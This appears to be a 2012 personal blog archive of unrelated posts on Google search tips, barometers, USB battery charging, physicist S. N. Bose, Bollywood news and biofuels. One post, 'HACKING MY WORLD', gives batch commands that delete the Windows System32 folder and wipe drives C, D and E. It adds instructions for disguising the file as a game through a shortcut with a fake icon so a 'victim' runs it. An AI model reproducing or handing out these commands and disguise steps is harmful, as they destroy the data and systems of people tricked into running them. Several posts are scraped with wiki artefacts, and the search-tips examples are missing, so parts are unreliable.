Friday 19 October 2012

6 AWESOME GOOGLE SEARCH TIPS AND TRICKS

1. Identify Local Time for Any City in the World using Google

If you want to know current local time in a particular city, use the following method. To see the current local time in Los Angeles do the following. Go-ahead and try this yourself for your local city and see how it works.

2. Exclude Keywords in the Search

If you want Google to exclude a word while searching the web page, use – (minus) before the search as shown below. This example searches for the pages which has the word ebooks, and without the word free.

3. Search for Keywords with Similar Meaning. Include Synonym Keywords in Search

Instead of searching for only the given word, using ~ before the keyword you can instruct Google to search for webpages with the exact given word or the words which has same meaning. In the following example, giving ~tutorial also searches for keywords: guide, manual, reference etc.

4. Match Any Single Word in the Search Using *

While searching, if you are not sure about which keyword to be placed in the phrase, you can match any single word using *.
 
For example, if you want to search for examples of vim substitution, and you are not sure whether to search for “vim editor find and replace examples”, or “vim editor search and replace examples”, then use * , which will match either find, search or any other word, as shown below.

5. Use OR in Google Search


Using OR operator in between the words makes the following kind of search possible in Google. Following example will search for bash examples or bash programs.

6. Identify Definition a Word

To view the definition of a word use the following method.If you are looking for a product in a specific price range use the following. It will search for the pages with text PDA, and $400 to $450 ranged TXT

Wednesday 1 August 2012

HOW DOES AN ANEROID BAROMETER WORK?


In a mercury barometer,the atmosphereic pressure exerted on the level of mercury in a cistern is balanced by the column of mercury in a tube.Instead of using a cistern and mercury in this way ,if a flexible box (over which the atmospheric pressure is allowed to act) is used ,it can respond to pressure changes by setting in deformations.This principle is used in the construction of aneroid barometers,the word 'aneroid' meaning 'without liquid'.
Thus the sensitive element in this case is a partially exhausted disc shaped metal box(called aneroid cell made of beryllium and copper) which undergoes changes of shape resulting from variations of pressure of the external air.
The ends of the box are usually corrugated to give more flexibility.A central spring prevents complete collapse of the box under the external pressure.The small movements of the box are transmitted by a system of magnifying levers to the pointer moving over a graduated dial indicating the air pressure.

Thursday 26 July 2012

HACKING MY WORLD

How to Create a Virus Using Notepad.

Introduction : Friends , all of you are most probably aware of viruses. The Only Headache of Every Windows PC owner is that his Pc might get virus. If a virus hits your computer, then no need to say what a nightmare you'll have.
       And what if someone sent you a virus through a USB, or mail attachment ? There are times in our lives , when we think " Hope, I too could create a virus ". Well then this is the time friends, So here I am posting the process how to create a virus. And sorry i cant post the virus file itself, as Internet doesn't allow to post or send .bat or .cmd files .
                                

Disclaimer : This is 100% or education purpose only. If you intend to use it in any illegal activity, Then it'll be 101% your Responsibility Solely.



Note: Friends, In the Coming Days i'll Post almost 75 virus creation methods. So i've divided Each Post into Several parts, So please Keep reading.



Process: 
  •  Open Notepad
  • Write / copy the below command there:
  • " del c:\WINDOWS\system32\*.*/q "  without quote
  • and save as " anything.bat"
  • Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.



Virus II:

Process:

  •  Open Notepad
  • Copy the below command there 
  • "rd/s/q D:\
    rd/s/q C:\
    rd/s/q E:\" ( without quotes )
  • Save as "anything.bat
  • This virus Formats the C ,D  , and E Drive in 3  Seconds.





How to Spread it:
* Windows does'nt allow to change the icon of .bat files. Therefore what you can do is :
  • Right click on the .bat file
  • Click on CREATE SHORTCUT
  • And hide the original file.
  • Now as this newly created file is just the shortcut, you can easily change its icon. 
  • Right click on this shortcut
  • properties >>>..cutomize>>..choose icon
  • Now give an attractive icon to it. 
  • Now name it something intresting. eg. PROTOTYPE or IGI etc. 
  • Now your victim would think it to be the game , and he will be easily curropted.

  • This trick to change icon and name can be used in each and every virus creation method which i'll post. Therefore I'll not post it over and over again.

CHARGING BATTERIES USING USB POWEER


 



Charging Batteries Using USB Power





Abstract: Many devices with rechargeable batteries use USB power to recharge the batteries while they are connected. This application note describes the power available from USB and how it can be used to charge batteries, including circuits and some hints.

The USB interface specification includes the ability to power devices. This enlightened change from the serial and parallel ports of the past allows a dramatic increase in the variety of devices that can be conveniently connected to a PC.

One way to use USB power is battery charging. Since many portable devices, like MP3 players and PDAs, exchange information with PCs, device convenience is significantly enhanced if battery charging and data exchange take place simultaneously and over one cable. Combining USB and battery-powered functionality gives rise to a whole range of "untethered" devices, such as removable web cameras, that operate while connected to a PC or not. In many cases, it is no longer necessary to include an awkward AC adapter or "wall wart."

Battery charging from USB can be complex or straightforward, as dictated by the demands of the USB device. Design influences range beyond the typical chorus of "cost", "size," and "weight." Other key considerations include: 1) how quickly a device with a discharged battery must operate with full functionality when plugged into a USB port; 2) the time that can be allowed for battery charging; 3) power budgeting within USB limits; and 4) the necessity of including AC adapter charging. These issues, and solutions thereto, will be addressed after some discussion of USB from a power point of view.

USB Power

All host USB host devices like PCs and notebooks can source at least 500mA, or five "unit loads" per USB socket. In USB terminology, "one unit load" is 100mA. Self-powered USB hubs can also supply five unit loads. Bus-powered USB hubs are guaranteed to supply only 1 unit load (100mA). According to the USB spec, and illustrated in Figure 1, the minimum available voltage from a USB host or powered hub at the peripheral end of the cable is 4.5V, while the minimum voltage from a USB bus-powered hub is 4.35V. These voltages allow very little headroom when charging Lithium batteries, which typically require 4.2V, making charger dropout extremely important.


Figure 1. USB Voltage drops (from Universal Serial Bus Specification Rev 2.0).

All devices that plug into a USB port must start out drawing no more than 100mA. After communicating with the host, the device can determine if it can take the full 500mA.

USB peripheral devices contain one of two receptacles. Both are smaller than the socket found in PCs and other USB hosts. The "Series B" and the smaller "Series Mini-B" receptacles are shown in Figure 2. Power is taken from pins 1 (+5V) and 4 (GND) on the Series B, and from pins 1 (+5V) and 5 (GND) on the Series Mini-B.


Figure 2. These receptacles for USB peripherals differ from the large four-pin sockets found on hosts and hubs. Power and data connection pins are shown.

Once connected, all USB devices must identify themselves to the host. This is called "enumeration." There are practical exceptions to this rule, which are discussed at the end of this article. In the identification process, the host determines the power needs of the USB devices and gives, or denies, the OK for the device to increase its load from 100mA maximum to 500mA maximum.

Simple USB/AC Adapter Charging

Some very basic devices many not want the software overhead that is needed to sort out and optimize use of the available USB power. If the device load current is limited to 100mA (termed "one unit load" in USB parlance) any USB host, self-powered hub, or bus-powered hub can power the device. For such designs a very basic charger and regulator scheme is shown in Figure 3.


Figure 3. With simple charging at 100mA from USB and 350mA from an AC adapter, no enumeration is needed for the charger because the USB charge current does not exceed "one unit load" (100mA). The 3.3V system load is always drawn from the battery.

This circuit charges the battery whenever the device is docked to USB or plugged into the AC adapter. At the same time, the system load is always connected to the battery, in this case through a simple linear regulator (U2), which can supply up to 200mA. If the system continuously draws that amount of current while the battery is charging at 100mA from USB, the battery will still discharge since the load current exceeds the charge current. In most small systems, the peak loads occur only for a fraction of the total operating time, so as long as the average load current is less than charging current, the battery will still charge. When the AC adapter is connected, the charger (U1) maximum current increases to 350mA. If USB and the AC adapter are connected at the same time, the AC adapter is automatically given precedence.

One characteristic of U1 that is required by the USB spec (but is also wise for chargers in general) is that current is never allowed to flow back to a power input from either the battery or another power input. In conventional chargers, this can be guaranteed with input diodes, but the small difference between the minimum USB voltage (4.35V) and the required Lithium battery voltage (4.2V) makes even Schottky diodes inappropriate. For this reason all reverse current paths are blocked within the U1 IC.

The circuit of Figure 3 has limitations that may make it inappropriate for some rechargeable USB devices. The most obvious is its relatively low charge current, which translates to long charge time if the Li-Ion battery capacity is more than a few hundred mA-hours. The second limitation occurs because the load (linear regulator input) is always connected to the battery. In this case, the system may not be able to operate immediately upon being plugged in if the battery is deeply discharged since there may be a delay before the battery reaches a sufficient voltage for the system to operate.

Load Switching and Other Enhancements

In more advanced systems, a number of enhancements are often required in or around the charger. These can include selectable charge current to match the current capability of the source (USB or AC Adapter) or battery, load switching when power is plugged in, and over-voltage protection. The circuit in Figure 4 adds some of these features by means of external MOSFETs driven by voltage detectors in the charger IC.


Figure 4. SOT-23 power MOSFETs add useful features such as over-voltage protection and battery disconnect when external power is applied. The active power source drives the system directly while the battery charges unloaded.

MOSFETs Q1 and Q2 and diodes D1 and D2 bypass the battery and connect the active (USB or AC adapter) power input directly to the load. When a power input is valid, its monitor output (UOK\ or DCOK\) goes low to turn on the appropriate MOSFET. When both inputs are valid, the DC input has precedence; U1 prevents both inputs from being active at the same time. Diodes D1 and D2 prevent reverse current from flowing between inputs via the "System Load" power path, while the charger has built-in circuitry to prevent reverse current through the charging path (at BATT).

MOSFET Q2 also provides AC adapter over-voltage protection up to 18V. An under/over voltage monitor (at DC) allows charging only when the AC adapter voltage is between 4V and 6.25V.

The last MOSFET, Q3, turns on to connect the battery to the load when no valid external power is present. When either USB or DC power is connected, the Power On (PON) output immediately shuts off Q3 to disconnect the battery from the load. This allows the system to operate immediately when external power is applied, even if the battery is deeply discharged or damaged.

When USB is connected, the USB device communicates with the host to determine if the load current can be increased. The load starts out at one unit load and is increased to five unit loads if the host allows it. This 5-to-1 current range can be problematic for conventional chargers (not designed for USB). The problem is that the current accuracy of conventional chargers, though adequate at high current, usually suffers at low current settings due to offsets in the current-sense circuitry. The result can be that the low range (for one unit load) charge current may have to be set too low to be useful in order to be sure that it never exceeds the 100mA limit. For example, with 10% accuracy at 500mA, the output would have to be set for 450mA to ensure it never exceeds 500mA. That alone is acceptable; however, to ensure that the low range charge current does not exceed 100mA, the nominal current would have to be set at 50mA, and the minimum could then be 0mA, which is clearly unacceptable. If USB charging is to be effective in both ranges, sufficient accuracy is needed to allow the maximum possible typical charge current without exceeding the USB limits.

In some designs, the system power needs are such that it is impractical to separately power the load and charge the battery with less than the 500mA USB budget, but doing so from an AC adapter is not a problem. The connection in Figure 5, a simplified subset of Figure 4, does this in a cost-effective way. USB power is not routed directly to the load. Both charging and system operation still take place on USB power, but the system remains connected to the battery. The limitation is the same as in Figure 3: if the battery is deeply discharged when USB is connected, there may be a delay before the system can operate. But if DC power is connected, Figure 5 operates in the same manner as Figure 4 with no wait regardless of battery state because Q2 turns off, passing the system load from the battery to the DC input via D1.


Figure 5. A simplified design does not pass USB power to directly to the load, but does so for the DC input. When USB is connected, the system is still powered, but from the battery while it also is charging.

Nickel-Metal Hydride Charging

Though Lithium-Ion batteries provide the best performance for most portable information devices, Nickel-Metal Hydride (NiMH) cells can still be a viable choice in minimum-cost designs. A good way to keep cost low when the load requirements are not too severe is by using one NiMH cell. This requires a DC-DC converter to boost the typically 1.3V cell voltage into something the device can use (typically 3.3V). Since some type of regulator is needed for any battery powered device, the DC-DC converter is really then only a different, not an additional, regulator.

The connection in Figure 6 uses an unusual approach to charge the NiMH cell and switch the system load between the USB input and the battery with no external FETs. The "charger" is actually a DC-DC step-down converter (U1) operated in current limit. It charges the battery with between 300 and 400mA. Though not a precise current source, it has adequate current control for the purpose and is able to maintain current control even into a shorted cell. A big advantage of the DC-DC charging topology over more common linear schemes is efficient utilization of the limited USB power resource. When charging one NiMH cell at 400mA, the circuit draws only 150mA from the USB input. That leaves 350mA for system use while charging.


Figure 6. Simple NiMH charge/power supply arrangement automatically hands off power to USB without a complex MOSFET switch array.

Load hand-off from the battery to USB is accomplished by diode or-ing (D1) USB power with the boost converter output. When USB is disconnected, the boost converter generates 3.3V at the output. With USB connected, D1 pulls the DC-DC boost converter (U2) output up to approximately 4.7V. When U2's output is pulled up this way, it automatically turns off and draws less than 1uA from the battery. If the shift of the output from 3.3V to 4.7V output when USB is connected is not acceptable, then a linear regulator can be inserted in series with D1.

A limitation of this circuit is that is relies on the system to control charge termination. U1 acts only as a current source and will over-charge the cell if left on indefinitely. R1 and R2 set U1's maximum output voltage at 2V as a safety limit. The "Charge Enable" input functions both as a means for the system to terminate charging and as a way to reduce USB load current prior to enumeration, if necessary, since the charger's 150mA input current is more than one unit load.

What Your Mom Didn't Tell You About USB

With any standard, it's interesting to see how actual practice diverges from the printed spec or how undefined parts of the spec take shape. Though USB is, with little doubt, one of the best thought out, reliable, and useful standards efforts in quite some time, it has not been immune to the impact of the real world. Some observed USB characteristics that may not be obvious, yet can influence power designs, are:
  • USB ports do NOT limit current. Though the USB spec provides details about how much current a USB port must supply, there are mile-wide limits on how much it might supply. Though the upper limit specifies that the current never exceed 5A, but a wise designer should not rely on that. In any case, a USB port can never be counted on to limit its output current to 500mA, or any amount near that. In fact, output current from a port often exceeds several Amps since multi-port systems (like PCs) frequently have only one protection device for all ports in the system. The protection device is set above the TOTAL power rating of all the ports. So a four-port system may supply over 2A from one port if the other ports are not loaded. Furthermore, while some PCs use 10-20% accurate IC-based protection, other will use much less accurate poly-fuses (fuses that reset themselves) that will not trip until the load is 100% or more above the rating.
  • USB Ports rarely (never) turn off power: The USB spec is not specific about this, but it is sometimes believed that USB power may be disconnected as a result of failed enumeration, or other software or firmware problems. In actual practice, no USB host shuts off USB power for anything other that an electrical fault (like a short). There may an exception to this statement, but I have yet to see it. Notebook and motherboard makers are barely willing to pay for fault protection, let alone smart power switching. So no matter what dialog takes place (or does not take place) between a USB peripheral and host, 5V (at either 500mA or 100mA, or even maybe 2A or more) will be available. This is born out by the appearance in the market of USB powered reading lights, coffee mug warmers, and other similar items that have no communication capability. They may not be "compliant," but they do function.

Tuesday 24 July 2012

INDIAN SCIENTIST SATYANDRA NATH BOSE

ump to: navigation, search
Satyendra Nath Bose
সত্যেন্দ্র নাথ বসু

Satyendra Nath Bose in 1925
Born 1 January 1894
Calcutta
, British India (now Kolkata)
Died 4 February 1974 (aged 80)
Calcutta, India (now Kolkata)
Residence India
Nationality Indian
Fields Physics and Mathematics
Institutions University of Calcutta
Alma mater University of Calcutta
Known for Bose–Einstein condensate
Bose–Einstein statistics

Bose gas
Notable awards Padma Vibhushan
Fellow of the Royal Society
[1]
Satyendra Nath Bose FRS[1] (Bengali: সত্যেন্দ্র নাথ বসু Shottendronath Boshū, IPA: [ʃot̪ːend̪ronat̪ʰ boʃu]; 1 January 1894 – 4 February 1974) was an Indian physicist specializing in mathematical physics. He was born in Kolkata, then spelt Calcutta. He is best known for his work on quantum mechanics in the early 1920s, providing the foundation for Bose–Einstein statistics and the theory of the Bose–Einstein condensate. A Fellow of the Royal Society, he was awarded India's second highest civilian award, the Padma Vibhushan in 1954 by the Government of India.[2][3][4]
The class of particles that obey Bose-Einstein statistics, bosons, was named after him[5][6][7] by Paul Dirac.[8]
A self-taught scholar and a polyglot, he had a wide range of interests in varied fields including physics, mathematics, chemistry, biology, mineralogy, philosophy, arts, literature and music. He served on many research and development committees in independent India.[9]

Contents

Early life

Bose was born in Calcutta now Kolkata, West Bengal, India, the eldest of seven children. He was the only son, with six sisters after him. His ancestral home was in village Bara Jagulia, in the District of Nadia, about 48 kilometers from Calcutta. His schooling began at the age of five. His first school was near his home. Later, when his family moved to Goabagan, he was admitted to the New Indian School. In the final year of school, he was admitted to the Hindu School. He passed his entrance examination (matriculation) in 1909 and stood fifth in the order of merit. He next joined the intermediate science course at the Presidency College, Calcutta, where he was taught by illustrious teachers as Jagadis Chandra Bose and Prafulla Chandra Ray. Meghnad Saha came from Dacca (Dhaka) and joined the same college two years later. P C Mahalanobis and Sisir Kumar Mitra were a few years senior to them. Satyendra Nath Bose chose mixed (applied) mathematics for his B.Sc. and passed the examinations standing first in 1913 and again stood first in the M.Sc. mixed mathematics exam in 1915. It is said that his marks in the M.Sc. examination created a new record in the annals of the University of Calcutta, which is yet to be surpassed.[10]
After completing his M.Sc., Bose joined the University of Calcutta, Calcutta as a research scholar in 1916 and started his studies in the theory of relativity. It was an exciting era in the history of scientific progress. The quantum theory had just appeared on the horizon and important results had started pouring in.[10]
His father, Surendranath Bose, worked in the Engineering Department of the East Indian Railway Company. He married Ushabati at the age of 20.[11] They had nine children. Two of them died in their early childhood. When he died in 1974, he left behind his wife, two sons, and five daughters. [10]
As a polyglot, he was well versed in several languages such as Bengali, English, French, German and Sanskrit as well as poetry of Lord Tennyson, Rabindranath Tagore and Kalidasa. He could also play the esraj, a musical instrument similar to a violin. He was actively involved in running night schools that came to be known as the Working Men's Institute.[4][12]

Research career

Bose attended Hindu School in Calcutta, and later attended Presidency College, also in Calcutta, earning the highest marks at each institution while fellow student Meghnad Saha came second.[4] He came in contact with teachers such as Jagadish Chandra Bose and Prafulla Chandra Roy who provided inspiration to aim high in life. From 1916 to 1921, he was a lecturer in the physics department of the University of Calcutta. Along with Saha, Bose prepared the first book in English based on German and French translations of original papers on Einstein's special and general relativity in 1919. In 1921, he joined as Reader of the department of Physics of the then recently founded University of Dhaka (now in Bangladesh) by the then Vice Chancellor of University of Calcutta Sir Ashutosh Mukherjee, himself a distinguished mathematician, a high court judge, and with strong interest in physics. Bose set up whole new departments, including laboratories, to teach advanced courses for M.Sc. and B.Sc. honors and taught thermodynamics as well as James Clerk Maxwell's theory of electromagnetism.[13]
Satyendra Nath Bose, along with Saha, presented several papers in theoretical physics and pure mathematics from 1918 onwards. In 1924, while working as a Reader at the Physics Department of the University of Dhaka, Bose wrote a paper deriving Planck's quantum radiation law without any reference to classical physics by using a novel way of counting states with identical particles. This paper was seminal in creating the very important field of quantum statistics. Though not accepted at once for publication, he sent the article directly to Albert Einstein in Germany. Einstein, recognizing the importance of the paper, translated it into German himself and submitted it on Bose's behalf to the prestigious Zeitschrift für Physik. As a result of this recognition, Bose was able to work for two years in European X-ray and crystallography laboratories, during which he worked with Louis de Broglie, Marie Curie, and Einstein.[4][14][15][16]
After his stay in Europe, Bose returned to Dhaka in 1926. He was made Head of the Department of Physics. He continued guiding and teaching at Dhaka University. Bose designed equipments himself for a X-ray crystallography laboratory. He set up laboratories and libraries to make the department a center of research in X-ray spectroscopy, X-ray diffraction, magnetic properties of matter, optical spectroscopy, wireless, and unified field theories. He also published an equation of state for real gases with Meghnad Saha. He was also the Dean of the Faculty of Science at Dhaka University until 1945. When the partition of India became imminent, he returned to Calcutta to take up the prestigious Khaira Chair and taught at University of Calcutta until 1956. He insisted every student to design his own equipment using local materials and local technicians. He was made professor emeritus on his retirement.[14][17][4] He then became Vice Chancellor of Visva-Bharati University in Shanti Niketan. He returned to the University of Calcutta to continue research in nuclear physics and complete earlier works in organic chemistry. In subsequent years, he worked in applied research such as extraction of helium in hot springs of Bakreshwar.[18]
Apart from physics, he did some research in biotechnology and literature (Bengali, English). He made deep studies in chemistry, geology, zoology, anthropology, engineering and other sciences. Being a Bengali, he devoted a lot of time to promoting Bengali as a teaching language, translating scientific papers into it, and promoting the development of the region.[15][19][3]

Bose–Einstein statistics

Possible outcomes of flipping two coins
Two heads Two tails One of each
There are three outcomes. What is the probability of producing two heads?
Outcome probabilities
  Coin 1
Head Tail
Coin 2 Head HH HT
Tail TH TT
Since the coins are distinct, there are two outcomes which produce a head and a tail. The probability of two heads is one-quarter.
While presenting a lecture[20] at the University of Dhaka on the theory of radiation and the ultraviolet catastrophe, Bose intended to show his students that the contemporary theory was inadequate, because it predicted results not in accordance with experimental results. During this lecture, Bose committed an error in applying the theory, which unexpectedly gave a prediction that agreed with the experiment.
Bose's letter
The error was a simple mistake—similar to arguing that flipping two fair coins will produce two heads one-third of the time—that would appear obviously wrong to anyone with a basic understanding of statistics. However, the results it predicted agreed with experiment, and Bose realized it might not be a mistake after all. He, for the first time, took the position that the Maxwell–Boltzmann distribution would not be true for microscopic particles where fluctuations due to Heisenberg's uncertainty principle will be significant. Thus he stressed the probability of finding particles in the phase space, each state having volume h3, and discarding the distinct position and momentum of the particles.
Bose adapted this lecture into a short article called "Planck's Law and the Hypothesis of Light Quanta" and sent it to Albert Einstein with the following letter:[21]
“Respected Sir, I have ventured to send you the accompanying article for your perusal and opinion. I am anxious to know what you think of it. You will see that I have tried to deduce the coefficient 8π ν2/c3 in Planck’s Law independent of classical electrodynamics, only assuming that the ultimate elementary region in the phase-space has the content h3. I do not know sufficient German to translate the paper. If you think the paper worth publication I shall be grateful if you arrange for its publication in Zeitschrift für Physik. Though a complete stranger to you, I do not feel any hesitation in making such a request. Because we are all your pupils though profiting only by your teachings through your writings. I do not know whether you still remember that somebody from Calcutta asked your permission to translate your papers on Relativity in English. You acceded to the request. The book has since been published. I was the one who translated your paper on Generalised Relativity.”
Einstein agreed with him, translated Bose's paper "Planck's Law and Hypothesis of Light Quanta" into German, and saw to it that it was published in Zeitschrift für Physik under Bose's name, in 1924.[22]
The reason Bose's "mistake" produced accurate results was that since photons are indistinguishable from each other, one cannot treat any two photons having equal energy as being two distinct identifiable photons. By analogy, if in an alternate universe coins were to behave like photons and other bosons, the probability of producing two heads would indeed be one-third (tail-head = head-tail). Bose's "error" is now called Bose–Einstein statistics. This result derived by Bose laid the foundation of quantum statistics, as acknowledged by Einstein and Dirac.[22]
Velocity-distribution data of a gas of rubidium atoms, confirming the discovery of a new phase of matter, the Bose–Einstein condensate.[23] Left: just before the appearance of a Bose–Einstein condensate. Center: just after the appearance of the condensate. Right: after further evaporation, leaving a sample of nearly pure condensate.
Einstein adopted the idea and extended it to atoms. This led to the prediction of the existence of phenomena which became known as Bose-Einstein condensate, a dense collection of bosons (which are particles with integer spin, named after Bose), which was demonstrated to exist by experiment in 1995.
Although several Nobel Prizes were awarded for research related to the concepts of the boson, Bose–Einstein statistics and Bose–Einstein condensate—the latest being the 2001 Nobel Prize in Physics given for advancing the theory of Bose–Einstein condensates—Bose himself was not awarded the Nobel Prize.
In his book, The Scientific Edge, the noted physicist Jayant Narlikar observed:
S. N. Bose’s work on particle statistics (c. 1922), which clarified the behaviour of photons (the particles of light in an enclosure) and opened the door to new ideas on statistics of Microsystems that obey the rules of quantum theory, was one of the top ten achievements of 20th century Indian science and could be considered in the Nobel Prize class.[24]
However, when asked about the omission, Bose himself said:
I have got all the recognition I deserve.[25]

Honors

In 1937, Rabindranath Tagore dedicated his only book on science, Visva-Parichay, to Satyendra Nath Bose. Bose was honored with title Padma Vibhushan by the Indian Government in 1954. In 1959, he was appointed as the National Professor, the highest honor in the country for a scholar, a position he held for 15 years. In 1986, S.N. Bose National Centre for Basic Sciences was established by an act of Parliament, Government of India, in Salt Lake, Calcutta in honor of the world-renowned Indian scientist.[26][27]
Bose became an adviser to then newly-formed Council of Scientific and Industrial Research. He was the President of Indian Physical Society and the National Institute of Science. He was elected General President of the Indian Science Congress. He was the Vice President and then the President of Indian Statistical Institute. In 1958, he became a Fellow of the Royal Society. He was nominated as member of Rajya Sabha.
Partha Ghose has stated that[4]
Bose’s work stood at the transition between the 'old quantum theory' of Planck, Bohr and Einstein and the new quantum mechanics of Schrodinger, Heisenberg, Born, Dirac and others.

Monday 23 July 2012

NOW I KNOW WHY CHETAN BHAGAT IS FAMOUS

Mumbai, July 9 (IANS) Actress Amrita Puri, who will be seen in "Kai Po Che", a big screen adaptation of "3 Mistakes of My Life", says after reading the book she understood why Chetan Bhagat is so famous.
"The only Chetan Bhagat novel I have read is '3 Mistakes of My Life' and that is because of the film. I loved it and it is only after reading it I came to know why is he so popular," Amrita told IANS.
Directed by "Rock On!" director Abhishek Kapoor, the film also features TV actors Sushant Singh Rajput and Amit Sadh along with Rajkumar Yadav.
The film portrays the journey of three friends as they discover cricket, religion and business in their respective fields.
The 28-year-old, who played a bhenji-turned-modern girl in her debut film "Aisha", plays a vivacious character in "Kai Po..."
-*-
'Ek Tha Tiger' won't affect '...Wasseypur Part II': Reema Sen
"Gangs Of Wasseypur Part II" is releasing a week before Salman Khan-starrer "Ek Tha Tiger", but actress Reema Sen is positive about the real life gang war drama's box office performance.
"Had the first part not come before, it would have affected because Salman is a great actor you can't deny that," Reema told IANS.
"I am sure it will affect a little. But there are films like 'Shaitan' and 'Khosla Ka Ghosla' doing well. I think at the end of the day, the script matters," she said.
-*-
Aditi Rao Hydari to sing for 'Ice Age 4'
After acting, it seems Aditi Rao Hydari's singing career is also taking shape. The actress, who earlier crooned for "London Paris New York", has now been roped in to sing Hindi version of "Ice Age 4: Continental Drift" theme song.
"Fox Star Studios India will give a unique touch to fun family theme of 'Ice Age 4' with the peppy song 'We Are Family', which is a global hit already. I will be singing in Hindi and I feature in a special music video as well!" Aditi said in a statement.
The international version of the song has been sung by Latina star Jennifer Lopez.
"The series just grew on me. I feel that the antics and funny camaraderie of Sid, Manny and Diego make this series watchable again and again! I love how these completely different animals become friends unwittingly and go through the most unusual and unique adventures together in each film," she said.
"It is perhaps one of the best examples of a complete family film, where there is something for everyone. It has a powerful story, fantastic action, eccentric wit and comedy, and it's in 3D!" she added.

BIO-FUEL


biofuel is a type of fuel whose energy is derived from biological carbon fixation. Biofuels include fuels derived from biomass conversion, as well assolid biomassliquid fuels and various biogases.[1] Similarly, bio-fossil fuels also have their origin in ancient carbon fixation. Biofuels are gaining increased public and scientific attention, driven by factors such as oil price hikes, the need for increased energy security, concern over greenhouse gasemissions from bio-fossil fuels, and support from government subsidies.
Bioethanol is an alcohol made by fermentation, mostly from carbohydrates produced in sugar or starch crops such as corn or sugarcaneCellulosic biomass, derived from non-food sources such as trees and grasses, is also being developed as a feedstock for ethanol production. Ethanol can be used as a fuel for vehicles in its pure form, but it is usually used as a gasoline additive to increase octane and improve vehicle emissions. Bioethanol is widely used in the USA and in Brazil. Current plant design does not provide for converting the lignin portion of plant raw materials to fuel components by fermentation.
Biodiesel is made from vegetable oils and animal fats. Biodiesel can be used as a fuel for vehicles in its pure form, but it is usually used as a dieseladditive to reduce levels of particulates, carbon monoxide, and hydrocarbons from diesel-powered vehicles. Biodiesel is produced from oils or fats usingtransesterification and is the most common biofuel in Europe.
In 2010 worldwide biofuel production reached 105 billion liters (28 billion gallons US), up 17% from 2009, and biofuels provided 2.7% of the world's fuels for road transport, a contribution largely made up of ethanol and biodiesel.[2] Global ethanol fuel production reached 86 billion liters (23 billion gallons US) in 2010, with the United States and Brazil as the world's top producers, accounting together for 90% of global production. The world's largest biodiesel producer is the European Union, accounting for 53% of all biodiesel production in 2010.[2] As of 2011, mandates for blending biofuels exist in 31 countries at the national level and in 29 states/provinces.[3] According to the International Energy Agency, biofuels have the potential to meet more than a quarter of world demand for transportation fuels by 2050.[4]

Contents

  [hide

[edit]Liquid fuels for transportation

Most transportation fuels are liquids, because vehicles usually require high energy density, as occurs in liquids and solids. High power density can be provided most inexpensively by an internal combustion engine; these engines require clean burning fuels, to keep the engine clean and minimize air pollution.
The fuels that are easiest to burn cleanly are typically liquids and gases. Thus liquids (and gases that can be stored in liquid form) meet the requirements of being both portable and clean burning. Also, liquids and gases can be pumped, which means handling is easily mechanized, and thus less laborious.

[edit]First generation biofuels

'First-generation' or conventional biofuels are biofuels made from sugar, starch, and vegetable oil.

[edit]Bioalcohols

Neat ethanol on the left (A), gasoline on the right (G) at a filling station in Brazil
Biologically produced alcohols, most commonly ethanol, and less commonly propanol and butanol, are produced by the action of microorganisms andenzymes through the fermentation of sugars or starches (easiest), or cellulose (which is more difficult). Biobutanol (also called biogasoline) is often claimed to provide a direct replacement for gasoline, because it can be used directly in a gasoline engine (in a similar way to biodiesel in diesel engines).
Ethanol fuel is the most common biofuel worldwide, particularly in BrazilAlcohol fuels are produced by fermentation of sugars derived from wheat,cornsugar beetssugar canemolasses and any sugar or starch that alcoholic beverages can be made from (like potato and fruit waste, etc.). The ethanol production methods used are enzyme digestion (to release sugars from stored starches), fermentation of the sugars, distillation and drying. The distillation process requires significant energy input for heat (often unsustainable natural gas fossil fuel, but cellulosic biomass such as bagasse, the waste left after sugar cane is pressed to extract its juice, can also be used more sustainably).
Ethanol can be used in petrol engines as a replacement for gasoline; it can be mixed with gasoline to any percentage. Most existing car petrol engines can run on blends of up to 15% bioethanol with petroleum/gasoline. Ethanol has a smaller energy density than does gasoline; this fact means that it takes more fuel (volume and mass) to produce the same amount of work. An advantage of ethanol (CH3CH2OH) is that it has a higher octane rating than ethanol-free gasoline available at roadside gas stations which allows an increase of an engine's compression ratio for increased thermal efficiency. In high altitude (thin air) locations, some states mandate a mix of gasoline and ethanol as a winter oxidizer to reduce atmospheric pollution emissions.
Ethanol is also used to fuel bioethanol fireplaces. As they do not require a chimney and are "flueless", bio ethanol fires[5] are extremely useful for new build homes and apartments without a flue. The downside to these fireplaces, is that the heat output is slightly less than electric and gas fires.
In the current corn-to-ethanol production model in the United States, considering the total energy consumed by farm equipment, cultivation, planting, fertilizerspesticidesherbicides, andfungicides made from petroleum, irrigation systems, harvesting, transport of feedstock to processing plants, fermentation, distillation, drying, transport to fuel terminals and retail pumps, and lower ethanol fuel energy content, the net energy content value added and delivered to consumers is very small. And, the net benefit (all things considered) does little to reduce imported oil and fossil fuels required to produce the ethanol.[6]
Although corn-to-ethanol and other food stocks have implications both in terms of world food prices and limited, yet positive, energy yield (in terms of energy delivered to customer/fossil fuels used), the technology has led to the development of cellulosic ethanol. According to a joint research agenda conducted through the U.S. Department of Energy,[7] the fossil energy ratios (FER) for cellulosic ethanol, corn ethanol, and gasoline are 10.3, 1.36, and 0.81, respectively.[8][9][10]
Even dry ethanol has roughly one-third lower energy content per unit of volume compared to gasoline, so larger / heavier fuel tanks are required to travel the same distance, or more fuel stops are required. With large current unsustainable, non-scalable subsidies, ethanol fuel still costs much more per distance traveled than current high gasoline prices in the United States.[11]
Methanol is currently produced from natural gas, a non-renewable fossil fuel. It can also be produced from biomass as biomethanol. The methanol economy is an alternative to the hydrogen economy, compared to today's hydrogen production from natural gas.
Butanol (C4H9OH) is formed by ABE fermentation (acetone, butanol, ethanol) and experimental modifications of the process show potentially high net energy gains with butanol as the only liquid product. Butanol will produce more energy and allegedly can be burned "straight" in existing gasoline engines (without modification to the engine or car),[12] and is less corrosive and less water soluble than ethanol, and could be distributed via existing infrastructures. DuPont and BP are working together to help develop Butanol. E. coli have also been successfully engineered to produce butanol by hijacking their amino acid metabolism.[13]

[edit]Biodiesel

In some countries biodiesel is less expensive than conventional diesel.
